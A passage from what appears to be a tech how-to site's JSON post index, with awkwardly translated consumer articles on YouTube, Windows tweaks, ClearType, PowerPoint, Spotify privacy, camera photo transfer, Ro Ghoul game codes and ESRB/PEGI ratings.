Wayment\nncG1vNJzZmismaXArq3KnmWcp51kfnF5zKiroq6RqbawusClZKyskamyrrHNrapmrJ9iwLWt0a1kmmWSqsCqusSsqg%3D%3D\n","link":"/post/10-motivational-statements-to-start-a-business/","section":"post","tags":null,"title":"10 motivational statements to start a business"},{"body":"One of YouTube's biggest pluses is the huge audience waiting for your content. But before you reach success, you need to know how to create YouTube videos.\nSuppose you are a beginner and do not know how to create videos on YouTube. Fortunately, you can learn the most basic things, such as how to upload videos to YouTube, create intro video Youtube, edit videos or create YouTube channel. In today's article, TipsMake.com will provide top tips for creating Youtube videos for beginners.\nAre you just starting to create Youtube videos? Keep in mind the following 5 tips! 1. Plan a video 2. Understand the audience you are targeting 3. Learn the basics of video production 4. Understand the importance of sound 5. Select the video editor and learn how to use it 1. Plan a video Before you start creating YouTube videos first, you need to understand your topic. Find out what you want to say and who you are targeting, such as whether your video is entertaining, the purpose of your video is to convince others or are directing and educating people about a master. something.\nTry to put yourself in the audience's position when you find the content you want to create.\nAsk yourself what makes you click on a YouTube video? What makes you keep watching a video instead of closing the tab? If you can create content that is different from what your favorite YouTuber is doing, then you have taken the right steps to achieve success.\n  Not all videos have the same approach. If your video is a bit long, you need to outline a scenario. This can be time consuming, but it makes video content tighter before starting the recording. Read through the script and make sure the content is not digestible, concise and smooth.\nYou might also consider creating a raw script, like the list of bulletins you want to include. If you feel comfortable speaking based on the main ideas written, this may be a good choice. Remember that if you work without a script, the content is easy to spread, leading to the loss of your audience.\nOver time, you will develop your voice and style, and find the best way to start a YouTube video, close comments, call likes and subscriptions (subscribe to channel subscriptions) friend).\n2. Understand the audience you are targeting One of the most important aspects of learning how to create YouTube videos is to understand who the audience is targeting. If you want the video to be appreciated, its content must be about what the audience is interested in. The type of video you create will determine who the audience is. For this reason, think seriously about video duration.\nIn most cases, short videos are often better evaluated. Most people often skim through a lot of posts, news and videos while browsing the web. The period of time when a video is noticed is very limited, so short is one of the most important aspects determining the success of YouTube video.\n  There is a growing YouTuber team that creates video essays, which are traditionally much longer than the brief rules that most videos adhere to. Video essays of less than 20 minutes can make your audience feel down. Many content creators upload 45, 60 and 90 minute video essays to continue attracting hundreds of thousands (or even millions) of views.\nCreating long content takes more effort, but will help the audience increase. However, for content, such as your weekend trip to the beach, don't upload hours of videos for hours. The video is about recipes or video reactions (showing a reaction to a certain phenomenon, product, service), etc. should not be longer than 10 minutes.\nRemember, a completely new YouTube channel will be limited to videos under 15 minutes until you are verified. According to ComScore.com, the average duration of an online video is 4.4 minutes.\n3. Learn the basics of video production Depending on the type of video YouTube is taking, you may need to learn some video production skills. One exception is that you can create a video using the footage you made yourself, like video reaction, review the game or review the movie.\nYou can record videos with your smartphone. However, if you are ready to buy (or be able to use) a mirrorless or digital SLR (Single Lens Reflex Camera), your video will look better. This is especially true in low light conditions.\n  Don't worry too much about the specs at the start. 4K movie shooting is good, but most videos at 1080p or lower are still acceptable.\n4. Understand the importance of sound Creating YouTube videos is like telling a story. You might be surprised to learn that most important aspects will be done with sound, not video. Sound is the soul of the story, and the view is only an additional element. Always think about the relationship between the listening and the look.\nThere are many things you can do to highlight the video, but all will succeed if the audio is too bad. That's why making sure that the sound quality for video is important. Although the sound quality is also acceptable, but to improve the overall video quality, investing in a good microphone is always the right choice.\n  If recording is direct, it is best not to use the built-in mic. Check out TipsMake.com 's suggestions for some of the best wireless shirt mics or use the dedicated RØDE Wireless GO audio system for Youtuber to get better sounding.\nMicrophones can be used on a PC or Mac for voice recording, but it is more comfortable to use a microphone mounted on a table.\nIf you are recording directly to a computer, you should use a reliable audio editor to do this. Audacity is one of the best options to get started, because it is quite powerful and completely free.\n5. Select the video editor and learn how to use it After you have prepared the necessary audio and video files, the only thing left to do is edit everything and combine them together to create a complete product with the video editor. Which video editor you choose will depend on the budget. There are quite a few options you can consider.\nOn a Mac, you may want to start with iMovie. iMovie is a free video editor that simplifies the video editing process.\n  The closest option, replacing iMovie, for Windows users is probably Wondershare Filmora. This application is not as simple as iMovie, but has many similar features and is completely free.\nBesides, please refer to the best free video editors on your computer.\nIf you are looking for a professional video editor at an affordable price, the best option is probably DaVinci Resolve. Resolve is often used by professional color editors to classify shots, but also comes with the full-featured non-linear video editor included. You can use DaVinci Resolve to edit videos for free.\n  If you have a lot of money, sign up for Adobe Creative Cloud, which will provide access to the Adobe Premiere Pro for just over $ 20 (VND 460,000) / month (or about $ 50 / 750,000 VND / month for the suite). full tool). Final Cut Pro is a reasonable upgrade for Mac enthusiasts who love iMovie, but you have to pay a large sum at a time of $ 299.99 (VND 7,020,000) to get this tool.\nWhatever you choose, the most important thing is to learn how to use it. Interestingly, YouTube is the best companion here, because the service has video tutorials and tips for most popular video editing software.\nWhen your 'masterpiece' is complete, it's time to upload and publish the first YouTube video. After knowing how to create a YouTube video, what is the next thing to do?\nMost of YouTuber succeed by regularly uploading new content. Like so many other things in life, consistency is the key to success. Create interesting products based on your abilities, skills and free time to create a schedule that will help you really stay attached to the job.\nGood luck!\nncG1vNJzZmismaXArq3KnmWcp51kgm7AyKmqZp6fp3qkvsSaq6Kml2LGsMHTrpmeZaaesaa70madqKpdl7Kotc2nnKur\n","link":"/post/5-tips-for-creating-youtube-videos-for-beginners/","section":"post","tags":null,"title":"5 tips for creating YouTube videos for beginners"},{"body":"Often, users must have ownership of a file on a Windows operating system to edit, rename or delete protected files on the operating system. However on Windows 10 mastering a file or folder is not as easy as on other versions. If before to master a file on the GUI (graphical interface) or Command Prompt, now on Windows 10 can not be done.\nIf you regularly use the option to master files to edit or delete files, you can add the Take ownership option to the right-click menu to use it. By adding the Take ownership option to the right-click menu, you can master the files in seconds.\nTo add the Take ownership option to the right-click menu on Windows 10, you must perform some tweaking on the Windows Registry. However, not all users know how to manipulate the Windows Registry and further editing the Windows Registry poses a high risk to the system.\nSo to add the Take ownership option to the right-click menu on Windows 10, you can use the TakeOwnershipEx utility.\n  1. Add Take Ownership option to right-click menu on Windows 10 Follow the steps below to add Take Ownership options to the right-click menu on Windows 10:\nStep 1: Click this link to download Take Ownership.zip Zip file.\nNext, extract the Zip file you just downloaded, and now you will see two files called Install Take Ownership.reg and Uninstall Take Ownership.reg .\n  Step 2: Right-click the Install Take Ownership.reg file, then click Merge .\n  Step 3: Click the Run button if a warning window appears on the screen.\n  Step 4: The User Account Control window will appear on the screen, where you click Yes to continue.\nStep 5: In the Registry Editor dialog window, click Yes to add information to the Registry.\n  Step 6: Finally click OK to finish.\n  Step 7: You should now see the Take Ownership option on the right-click menu when right-clicking a folder or any file on Windows 10.\nIf you don't see the Take Ownership option, proceed to restart Windows Explorer or your computer.\n2. Remove the Take ownership option on the right-click menu To remove the Take ownership option on the right-click menu, run the Uninstall Take Ownership.reg file that you extracted from the Take Ownership.zip Zip file.\n3. Master a file / folder To master any file or folder, right-click the file and the folder and select the Take ownership option. Click Yes if the UAC window appears.\nTakeOwnershipEx is a free tool that allows users to quickly master files on Windows operating systems.\nRefer to some of the following articles: How to login Windows 10 automatically without entering a password Clean up traces of Pagefile every time you turn off your Windows 10 computer Instructions for activating Keyboard Backlight on Windows 10 Good luck!\nncG1vNJzZmismaXArq3KnmWcp51krqWwjK2YpJ1dpMSvsdGsn6KoXaS9tbXOp2Stp12ntqi005yjopubYrqmutRmpqdlp567pbvWrGRqaA%3D%3D\n","link":"/post/add-take-ownership-option-to-right-click-menu-on-windows-10/","section":"post","tags":null,"title":"Add Take Ownership option to Right-click Menu on Windows 10"},{"body":"ClearType is a font smoothing technology, built into Windows, developed by Microsoft itself to make text easier to read on the LCD screen. If the text being read on the computer is blurred, tweaking the ClearType settings can definitely improve the situation.\nSome problems can cause slight blurring on the text, making it difficult to read. New users often use the native resolution of the screen, this resolution is also used by Windows by default. But some games, other applications can reduce it and not reset the resolution when turned off. In addition, Windows does not always handle high-resolution screens well without some tweaking.\nIn this article, TipsMake.com will guide you to use the built-in ClearType tool in Windows 7, Windows 8 and Windows 10. If you are using Windows Vista, XP you need to download ClearType Tuner PowerToy and follow The instructions in this article. It works similar to the built-in toolkit on Windows.\nPlease refer to the article:\nUsing ClearType Tuner in Windows 7 Adjust screen resolution on Windows 10/8/7 What is ClearType? ClearType is the font smoothing technology introduced by Microsoft for the first time on Windows XP. It is designed to smooth fonts on the screen with Sub-pixel rendering (a way to increase clarity on the liquid crystal display of a computer screen) so that they will be easier to read.\nThis technology is built on the research achievements of font display technology, which has been pursued by Microsoft experts since the 90s. Copyrighted to develop Apple TrueType font, expert team of Microsoft has spent nearly two years studying the combination of font formats and user psychology. The conclusion given is that reading is also a form of pattern recognition. The reader only really \"reads\" when the word recognition process becomes an unconscious task and the conscious part is free to grasp the meaning of the word.\nGoing a step further, Microsoft experts found that the word recognition process was only truly unconscious when typographical elements, such as shape, density, distance between characters . coordinated so that they are really easy to read. Capturing these results, Microsoft began conducting research on how typography displays on liquid crystal displays.\nHow does ClearType work? To understand how ClearType works, we must first understand the difference between LCD screens and other screen types. Most screen types create images through the arrangement of pixels (pixels). A pixel on the LCD screen is composed of three other \"sub-pixels\": one red (Red), one green (Green) and one blue (Blue) ( RGB color system) (picture below). The eye is often invisible and we can only detect this structure when looking through magnifying glass panels.\nTraditional computer screens implicitly understand pixels in either \"on\" or \"off\" (on / off) modes in the form of small black squares. The characters that appear on the screen are created by many small squares (pixels) like that. The actual \"skip\" of each pixel has an internal structure, the traditional screen only pays attention to the smoothness of the body of the font, regardless of the sharpness of the edges.\nTherefore, fonts with old technology look jagged, smooth contours and \"pixel\" on the LCD screen, but watch normally on CRT monitors.\nClearType uses multiple colors on text to make the text easier to read, while traditional text rendering technology only displays black pixels, colors often appear jagged on the LCD screen. So, at 500% magnification, standard-built text will look like this:\n  When ClearType is enabled, the text will look like the image below. You will notice the shadows around the colored characters, making them smoother on the LCD screen.\n  When scaling the text to normal, the difference in text will be clearly shown in the two scenarios that turn on and off ClearType.\n   Shrink text in normal mode before and after ClearType is turned on\nClearType solves the defects on the LCD screen thanks to the sub-pixel display quality, the characters displayed are not only smooth at the body, but also at the corners and edges.\nHow to turn on and off ClearType ClearType is enabled by default on Windows 7, Windows 8 and Windows 10. To enable or disable ClearType, you need to start ClearType Text Tuner.Go to Start , type \" ClearType \" and select Adjust ClearType Text .\n  To change the mode of ClearType, simply check the Turn on ClearType checkbox and click Next .\n  If you are turning off ClearType, the wizard will work and complete almost the entire ClearType tweaking process, then you just need to finish and save the settings.\nIf you are turning ClearType to on or just want to tweak it, the wizard will help you take a step-by-step process and we will also explain in detail below.\nRefine ClearType for computer screens In ClearType Text Tuner, when the Turn on ClearType option is enabled and click Next , you will get the opportunity to tweak the ClearType for the screen. If there is more than one screen, it is possible to adjust them all in turn, or just the screen needed. This article only adjusts one screen, because the tool will work the same for fine-tuning all screens. If the computer is connected to only one monitor, the following window will not be displayed.\n  The first thing that ClearType does is make sure the screen is set at its native resolution. If not, you need to bring the current resolution to this level.\n  Next, there will appear 4 to 5 small frames (depending on the version of Windows) that require text selection to look the best in the given models. The template being used on the current screen will be highlighted, but you can change it to suit your needs, then click Next .\n  When finished, click Finish , the ClearType window will close. If you perform fine tuning on multiple screens, you will be redo the above steps.\n  ClearType tweaking can definitely help you find the best text template for your screen. Although there are no problems with blurring on the text border, you may still want to look through the options when adjusting to optimize the reading experience on your computer screen.\nncG1vNJzZmismaXArq3KnmWcp51ksq%2B0wKeanmWcmLFuv8KrnJ6mXZi5or7IrbBmr5mptW6vy56Yq6yppbJuwMScn6ennKS0ug%3D%3D\n","link":"/post/enhance-lcd-screen-clarity-with-cleartype-technology/","section":"post","tags":null,"title":"Enhance LCD screen clarity with ClearType technology"},{"body":"One of the factors that creates an attraction as well as enhances the aesthetics of PowerPoint presentations, is to use the background image for the slide. The set of backgrounds that PowerPoint provides to users is quite limited and simple, so many people choose to use the images available on the computer as a backdrop for their presentations.\nIn the process of importing content, we also need to pay attention to the highlight of the content as well as other characters on the background we have chosen. If you do not choose the appropriate background, users can choose to blur the background to pop up the content, creating attention to viewers. The following article will show you how to use the background images available on your computer, as well as how to adjust the blurring mode of PowerPoint background images.\nManage slides in PowerPoint 2016 How to print slides in PowerPoint 2016 How to create text effects in PowerPoint How to create a blurred background image in PowerPoint Step 1:\nIn the PowerPoint interface, click the Design tab on the Ribbon and then click on the Background Styles section . Then select Format Background to replace the background image for the slide.\n  Step 2:\nThe Format Background appears, here select Picture or texture fill to make the option to add images to the background.\nNext to the below we click the File button to download the image available from the computer.\n  Step 3:\nFind the image storage folder on your computer, click on the image and click Insert below.\n  Note to users , to let the photo choose to make the background balanced and highlight the content on the slide, users should choose photos with a light background, with small dark details.\nStep 4:\nNext, at the Format Background interface, looking at the Transparency section, users will proceed to adjust the horizontal bar to blur the selected background image. Or it can be adjusted by means of an arrow and an arrow to select the percentage of opacity for the image you want.\n  The above blurring method will apply to an open slide. If you want to blur the image for all existing slides, click on any slide and then press Ctrl + A to select all. The blurring operation will do the same as above. Or blur a slide and press Enter to create many similar slides.\nFinally, enter the text for the slide and adjust the font color to stand out with the font so the image is blurred.\n  Blurring the background image will help the content on the slide be more prominent when we create a PowerPoint presentation. In addition, you can also adjust the text in the slide to be able to combine with a reasonable background image, creating aesthetics for the presentation.\nVideo tutorial to create a blurred background image on PowerPoint I wish you all success!\nInstructions to remove background images with PowerPoint 2010\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpqcqr9uwMeeZJuZk6C0s7vUp5tmoZ2WtKZ5yKdkqaenmr%2Bxu8inqw%3D%3D\n","link":"/post/how-to-blur-the-background-image-in-powerpoint/","section":"post","tags":null,"title":"How to blur the background image in PowerPoint"},{"body":"Microsoft has introduced the Quick Access menu in Windows 8. This menu is also called the Power User menu which contains a large number of shortcuts for system utilities such as Control Panel, Command Prompt, Task Manager, File Explorer, Device Manager and many more than that.\nMenu is accessed with Windows + X shortcut or right-click on the Start menu icon. We can use the free Win + X Menu Editor to turn this useful feature into a central navigation tool for computers.\nHow to change the Quick Access icon on File Explorer Windows 10 How to hide / show Recent Files and Frequently Folders in Quick access Window 10 Win + X Menu Editor   Start by visiting the Winaero page. Scroll to the bottom of the page and download Win + X Menu Editor. In the archive, you will find two directories: x86 and x64. Choose x64 if you use Win 64-bit and x86 if you use 32-bit Win. If you are not sure which Win type you use, press Windows + X key, select System and check the System type in the window that opens. You see, we haven't started yet and have to use the Win + X menu already. That proves that it is very useful.\nOnce you know the type of Windows you use, unzip the associated archive. Then run WinXEditor.exe to install the tool.\nDownload the application here.\nMove programs We will start with the basic Win + X Menu Editor feature. Even if you don't want to add or delete programs from the Quick Access menu, you still want to move them, or group them in different ways.\nCreate a group Select Create a group in the menu. The new group will appear at the top of the list. You will have to pair with the programs before it appears in the Quick Access menu.\nMove a program Now that you have created a group, you will need to add a program to it. You have two options:\nRight-click on the group you just created and select Add. Then select an application. Right-click on the Quick Menu application that appears, and Move to group . When you're done, click Restart Explorer .\nDelete a program There are a number of items in the Quick Access Menu that I have not accessed yet. I'm talking about the menu introduced in Windows 8. But luckily, Win + X Menu Editor allows users to delete any unused options.\nRight-click on the offending item and select Delete . Then, Restart Explorer . If you rethink, you can easily restore the defaults by selecting Restore Defaults . Create menu groups Unfortunately, Win + X Menu Editor cannot create a new sub-menu. Sub-menu is only for Shutdown Options . However, you can arrange Quick Menu shortcuts using submenu groups in turn.\nEach group will have multiple sub-menus. You can create as many groups as you want or use a single list.\nAdd or change system utilities One of Win + X Menu Editor's best improvements is to add system utilities to the Quick Access menu. Instead of having to browse through multiple menus or remember too many shortcuts, we can add items from the Control Panel, Administrative Tools folder and many other folders.\nClick Add a program\u0026gt; Add a Control Panel Item / Add an Administrative Tool , then select the tool or item you want to add.\nDo the same for the application Basically, Quick Access menu provides an extremely reasonable choice for programs. However, it does not describe your frequently used applications. The Quick Access menu can work side by side or replace the shortcut icons of Taskbar.\nSelect Add a program\u0026gt; Add a program INS , then browse to the application you want to add. You can add as many options as you want, then Restart Explorer to see the changes.\nAdding applications to the Quick Access menu is a great idea, but I think it depends on your workflow. I personally want to keep my Quick Access menu for system utilities and administrative tools and use Taskbar for frequently accessed applications.\nAccess the web faster Did you know that we can add website shortcuts to the Quick Access menu? Win + X Menu Editor takes advantage of the fact that Quick Access menu is a disguised shortcut manager. That means we can add Quick Menu shortcuts to our favorite websites.\nFirst, you need to create a shortcut. Drag and drop shortchut web page from browser address or bookmark bar into a folder. Then, select Add a program\u0026gt; Add a INS program and browse the shortchut page.\nReturn to Command Prompt Windows 10 Creators Update introduced several new features for the operating system. Unfortunately, this version has also modified some of Windows' longtime features. For example, the Open Command Prompt here option is replaced with Open PowerShell window here . This is a bit annoying for users.\nPowerShell also replaces the Command Prompt option in the Quick Access menu. If this bothers you, use Win + X Menu Editor to bring the Command Prompt to the Quick Access menu\nWindows 8: Add options Shutdown Microsoft expanded the shutdown options in the Quick Access menu on Windows 8.1. The shutdown options sub-menu has moved to Windows 10. However, Windows 8 users do not have such functionality - unless you add them yourself.\nGo to Add a program\u0026gt; Add a preset\u0026gt; Shutdown options , have all the shutdown options, including Advanced boot options, will be inserted into a new group.\nStreamline your activity Use Win + X Menu Editor to streamline Quick Access, such as completely changing the menu, removing items you don't need or tweaking it to better suit your work.\nThe Quick Access menu is a less-used feature in Windows 10. Meanwhile, Microsoft is continuing to join the Control Panel with a new Settings panel that makes it easier to control Windows 10 than ever. Accordingly, the Quick Access menu may be abandoned.\nWhat are the Quick Access menu shortcuts you will change? Do I miss any features of Win + X Menu Editor? If you have any comments, please comment below!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpulqMGwuciznGappZ6wrHnAnJqeq6Niuqa61KxkoqZdrLavsM6wqmZpYGKur7CMcQ%3D%3D\n","link":"/post/how-to-customize-quick-access-menus-in-windows-10-and-8/","section":"post","tags":null,"title":"How to customize Quick Access menus in Windows 10 and 8"},{"body":"Hideify listening to music in Spotify is a great way to protect your privacy, although that can prevent friends from enjoying songs based on your music preferences. By using the built-in security options that Spotify is available, you can reduce the storage of public information about yourself.\nHow to turn off Listening Activity on Spotify To hide the type of music you hear, don't let others know, open Spotify and go to Settings.\n  If you have opened Spotify on your computer, click the drop-down menu next to the username. Scroll down to the Social section and make sure you've turned off the option that says 'Share my listening activity on Spotify' .\n  On your Android device, you need to click on the gear icon to access Settings. When in Settings, swipe down until you see the Social section . If you use the iPad (for example), you will need to click on the gear icon in the upper right corner, select Social, then click on Listening Activity.\n  \nMake your Spotify playlist private If you don't want to completely hide your listening, you can just hide the specific playlist. If you use a computer, there are two ways to make your playlist private.\nOn the left side of the Spotify window, you will see a set, including playlists and albums. Right click on the playlist you want to hide and select the Make Secret option .\n  \nIf the space on that side is too small, you can also find the playlist by going to the Spotify main page and scrolling down. When you see the playlist you are looking for, right-click it and click on the Make Secret option .\n  \nOn Android devices, the steps are virtually unchanged. Find the playlist you want to make private and open it. Touch the three dots icon in the upper right corner and swipe down until you see the Make Secret option . The same steps can be applied for iOS.\n  How to create a private session on Spotify Creating a Private Session (private session) on Spotify can also help keep your listening habits secret. If you use Spotify on the desktop, click the drop-down menu next to the user name and go to Settings.\nScroll down to the Social section again, but this time turn on the option that allows you to start a private session. On an Android device, select the gear icon, swipe down the Social section and switch the Private session option to On.\n  \nOn the iPad, you also need to select Social and Private session activation .\nPrivacy is always an important issue when using the Internet, even if you only listen to music. With these tips, you can protect the privacy of your own listening habits. Which method will you use? Share ideas with everyone in the comment section below!\nHope you are succesful.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqCZmbJuuMisq56mmaO0bq3CraCvoaSuerC6jKynqKyZm8Y%3D\n","link":"/post/how-to-hide-listening-activity-on-spotify/","section":"post","tags":null,"title":"How to hide Listening Activity on Spotify"},{"body":" Use a USB cable. Since most digital cameras these days have developed a USB connection, this is a great way to do it. However, it is not always effective because it depends on the compatibility of the camera, computer and operating system.\n  Power off the camera. When connecting and disconnecting electrical devices, especially sensitive ones like digital cameras, it's best to turn off the power first.\nConnect a plug (usually a small plug) to the camera.\n  Connect the other end (usually the big one) to your computer's USB port).\n   Power on the camera. The camera will appear as a drive on the computer screen.\nUse a memory card reader Prepare an SD card reader. The device is a small flat box that plugs into a USB port.\n Plug the memory card reader into your computer's USB port. It can be plugged in directly or with an additional USB cable.\n  Insert the camera's SD card. The card will appear as a drive on the computer screen.\nDrag photos from the card to your computer and you're done.\n  Send by email  Take a photo with your phone's camera. Although not a Canon EOS 7D camera, the quality is still good enough to produce good photos.\n Take a photo. All beautiful photos are created by pressing the shutter button!\n Compose a new email. Send the photo as an attachment and as Steely Dan says \"email it to yourself\".\nUse a cloud storage service  Use your phone's camera. Some apps, like Instagram, post photos to a shared feed and are always visible for you or others to download to your computer.\n Take photos with Instagram. Add your favorite photo filters.\n Share the photo with the Instagram community and choose to send it to your email.\nUsing iCloud  Sign in to iCloud. This is possibly the simplest and fastest way to transfer photos from your camera to your computer. With iCould, iOS camera photos are usually transferred to a cloud storage service and can be retrieved from devices with iCloud, Mac, or desktop computers.\n Take photos. When you get home, connect your photo library to iPhoto or Aperture or any device that can recognize the iOS photo library.\nWindows XP   Connect the camera or memory card to the computer. This is a simple step. You can either connect the camera directly to a computer or take out a memory card and insert it into a memory card reader and plug it into a computer. The usual connection is via a USB port.\nWhen your camera or memory card is connected to the computer, the Windows XP Camera Wizard window will appear. If the window does not appear, you can open it by clicking the command: Start -\u0026gt; Accessories -\u0026gt; Scanner and Camera Wizard.\n Select photo. The next step allows you to select the photos you want to transfer. Besides, the window also allows you to rotate the image and see detailed information of the photo such as the date it was taken. This way, you can specify a name to give the file. However, usually you will just transfer all the images to a file on your computer without doing anything else but if you want more information this window will help you further.\n  Select save image. You will need to fill out two fields.\nThe first field is: Type a name for this group of images. The information you type in will be the name of each photo on the computer. For example, if you know the photos in transit were taken on June 21, 2012 in Idora Park, enter the name 070612-Cong vien-Idora and then each photo has this name plus the serial number: 01 , 02… In this way you can also identify the image by its name.\n  The second field is: Choose where to save that group of photos. This is the step to choose where to save your image file. Click the browse button (yellow file) and select the drive to save the image file in your computer.\n  Wait until the transfer is complete. Check the image file - all the pictures you've transferred will be in there.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqyilru0ssSrZKmgn6m8tHnFq6amZZOWuqa%2BwGarqGWTpLqxwdOeqWavmam1sMHTZqqonqSsrrOx\n","link":"/post/how-to-transfer-photos-from-camera-to-computer-without-software/","section":"post","tags":null,"title":"How to Transfer Photos from Camera to Computer Without Software"},{"body":"Quite a lot of users responded that after they updated the latest operating system version, iOS 13.5.1, their iPhone battery was seriously depleted. The cause is thought to be related to the Apple Music app, but even if the app is not running, it significantly drains the battery.\n Mojo06 user said: 'I just bought my iPhone 11 a few days ago and find that my battery capacity is dropping very fast. I haven't even used Apple Music yet, but it has been running in the background for over 18 hours and using 95% of my battery. My iPhone 11 is also constantly getting hot. '\nUser Brianwpi said: 'My iPhone is heating up, rebooted many times. iPhone X runs iOS 13.5.1, battery status is 91%. I have to charge several times a day to use. Does anyone have a way to fix it? '.\u0026nbsp;\n \u0026nbsp;User svphies said: 'I am having the same problem with my iPhone 11, just updated to iOS 13.5.1. I did not turn on the Apple Music app, nor did I download any songs from the app. I hope Apple will fix this problem soon. '\nSome users had to delete the Apple Music app, which caused the battery drain to end. However, for many users with an Apple Music subscription, this is not a measure. A small number of users said they could fix this problem by deleting and reinstalling the Apple Music app, but it did not work for everyone.\nCurrently Apple has not responded to this problem of iOS 13.5.1.\nncG1vNJzZmismaXArq3KnmWcp51ktrC%2FjGpqbmldna60ecBmqp6qmaTCtHnBmqutnaKueqW%2BwKKlZp2ip7yzedOhnGabpaG9s7XTZqCsZZGjeqK8z6WcZpmgpbmqr8CtoKim\n","link":"/post/ios-13-5-1-has-a-serious-battery-drain-error-the-culprit-is-an-apple-application/","section":"post","tags":null,"title":"iOS 13.5.1 has a serious battery drain error, the culprit is an Apple application"},{"body":"In Ro-Ghoul, players can choose one of two factions that are vampires or members of the CCG. No matter which faction you are on, you need Yen or RC in the game to use to power up your character.\nCode Ro Ghoul allows players to get Yen and RC just by entering for free in the game. These codes work by simply entering them into the chat table in the game to be able to receive the gift corresponding to the code.\nIt is like entering the King Piece code, Tower Defense code, Shindo code. and many other Roblox titles. To enter the RoGhoul code and get the latest Roghoul code, please follow the instructions below.\nLatest Code Ro Ghoul   !TrafMask – Get Traf Mask !Code 500MV – Get 500,000 RC \u0026amp; 500,000 Yen !Code HNY2020 – Get 500,000 RC \u0026amp; 500,000 Yen !Code Sub2Tokiitou – Get 50,000 Yen !Code Sub2КоПанда – Get 50,000 Yen !Code Sub2Axiore – Get 50,000 Yen !Code Sub2EDITTY – Get 50,000 Yen !Code Sub2GoldenOwl – Get 50,000 Yen !Code Sub22KMz – Get 50,000 Yen !Code Sub2ibemaine – Get 50,000 Yen !Code Sub2OrdinaryPotato – Get 50,000 Yen !Code Sub2Praveen – Get 50,000 Yen !Sub2Roball Code – Get 50,000 Yen !Code Sub2Sagee4 – Get 50,000 Yen !Code Sub2Sky1Ms – Get 50,000 Yen !Code Sub2xAomSakarin – Get 50,000 Yen !ibemask – Get more masks !RoballMask – Get more masks !Roziku – Change character's hair to blue !Code ANNIVERSARY-2 – Get 2,020,000 RC \u0026amp; 2,020,000 Yen !Code 1M FAVS – Get 1,00,000 RC and 1,00,000 Yen How to enter code Ro Ghoul   To enter the code in Ro Ghoul, the player needs to redeem the code through the game's chat window. Press the \"\" key then copy and paste the codes above to claim your free reward.\nLike many other game codes such as AFK Arena code, Lifting Titans code, Noob Army Tycoon code. Ro Ghoul code may be limited in time and number of entries. So be sure to update your Ro Ghoul codes regularly as they may expire.\nncG1vNJzZmismaXArq3KnmWcp51kuaLAxKyrZqqfYrSpu9SlZJynlJp6c3yRamSappRitbDDjK2mZp2eqbKz\n","link":"/post/latest-ro-ghoul-code-2021-and-how-to-enter/","section":"post","tags":null,"title":"Latest Ro Ghoul Code 2021 and how to enter"},{"body":"The rating comes with every video game. Like movies, video games get a rating so you know if they're right for kids. However, if you're not too familiar with video games, you may find video game ratings a bit confusing.\nMost video game ratings are just a collection of digits. This article provides guidance on ESRB and PEGI ratings, which explains how the video game ranking works, provides a bit of background on the companies responsible and explains how you can make use of them.\nESRB and PEGI - the 2 most popular game ranking standards North America: ESRB Europe: PEGI Rate video games in other countries Explain the ESRB ranking criteria Describe the ESRB content  Explain about PEGI ratings Description of PEGI content  North America: ESRB   ESRB, short for Entertainment Software Rating Board, provides video game ranking services to the United States, Canada and Mexico. ESRB was founded in 1994, and the circumstances leading to this formation are quite interesting.\nBefore ESRB, the ranking of video games was up to console manufacturers. At the time, Nintendo didn't rate games, but had a reputation for censoring games to make them family friendly. Meanwhile, Sega has its own rating system for consoles.\nAs video game graphics cards became more and more popular, parents and the US government began to feel concerned. Two popular names at the time: Mortal Kombat, an extremely violent fighting game and Night Trap, a game with full-motion video (completely dynamic), in which you have to prevent teenage girls from being abducted. , became the focus of controversy.\nTherefore, the US government held hearings on the impact of adult games on society. The government has issued an ultimatum to the gaming industry: A universal ranking system must be introduced within a year, or the government will do it in person.\nTherefore, in 1994, ESRB was born. Since then, it has become a video game ranking system in North America. Unlike many other countries, ESRB ratings are not legally enforced. Instead, it adjusts. All console manufacturers require that games have an ESRB rating in order to appear on their systems and that unrated games will not be included in the game's \"store\".\nEurope: PEGI   PEGI, short for Pan European Game Information, is the standard for ranking video games in most European countries. PEGI was launched in 2003 and replaces the various game rating systems that individual countries have used before. As of the time of this writing, 39 countries have used PEGI to rate games.\nPEGI is an example of standardization across countries in the European Union. The European Commission has announced its support for PEGI. Some countries are required to have an age mark on the game, while others accept it as a de facto standard, but do not support specific laws.\nRate video games in other countries As you would expect, other regions of the world also have their own video game ranking system. It is not possible to include all of them in this article, but they mostly follow the same pattern. For example, Japan has CERO (Computer Entertainment Rating Organization) that assigns an alphabetical ranking to games.\n  However, Australia is particularly notable for enacting stricter censorship laws compared to other Western countries. The Australian Classification Board didn't support the 18+ ranking of video games until 2013. Some games were never released in Australia, while others had to go through the process. Relatively much editing.\nFor example, in Fallout 3, real-world synthetic drugs were changed to Med-X to comply with Australian standards. It is illegal to sell any game that has not been classified in Australia.\nExplain the ESRB ranking criteria Now, the article will look at the companies behind the above ranking criteria. First, take a look at the actual video game ratings you'll see in North America.\nESRB uses 7 different ratings for games. 4 of these ratings are very popular, while the other 2 options are quite rare and the last ranking type is only \"reserve\".\nEarly Childhood (EC) is the lowest ranking. It denotes games for child audiences. Therefore, these games have no objectionable content and may not be very interesting to the general audience, because they are intended for young children. This rating is not very popular. Examples of games include Dora the Explorer: Dance to the Rescue and Bubble Guppies. Everyone (E) is the base rating. Games with this rating are 'suitable for all ages'. Before 1998, this rank was called Kids to Adults (KA). E-rated games include Mario Kart 8 Deluxe and Rocket League. Everyone 10+ (E10 +) denotes games suitable for children 10 and older. Compared to an E-rated game, these games may contain some content that is more provocative, humorous or violent. Notably, this is the only rating that ESRB has added since its inception. Some games with this rating are Super Smash Bros. Ultimate and Kingdom Hearts III. Teen (T) is the next level. This rating is suitable for players aged 13 and up. Titles can have sexually suggestive content, stronger language, and gore-related scenes. You will find Teen ratings on games like Apex Legends and Fortnite. Mature (M) is the 'normal' rating at the highest. M-rated games are considered suitable for people 17 and older. Compared to Teen games, they can contain more violent scenes, stronger sexual content, even nudity and pretty strong language. Some game stores don't sell M-rated games to minors, but this is not a legal standard. Examples of M-rated titles include Red Dead Redemption II and Assassin's Creed Odyssey. Adults Only (AO) is an ESRB ranking of 18+. This rating applies to games with graphic sexual content or games that allow gambling with real money. However, it is really a lame assessment. There are no major console manufacturers that allow AO games on their system and very few retailers sell AO games in their game 'store'. Therefore, only a handful of games receive this rating. Most AO games receive this rating due to their heavy sexual 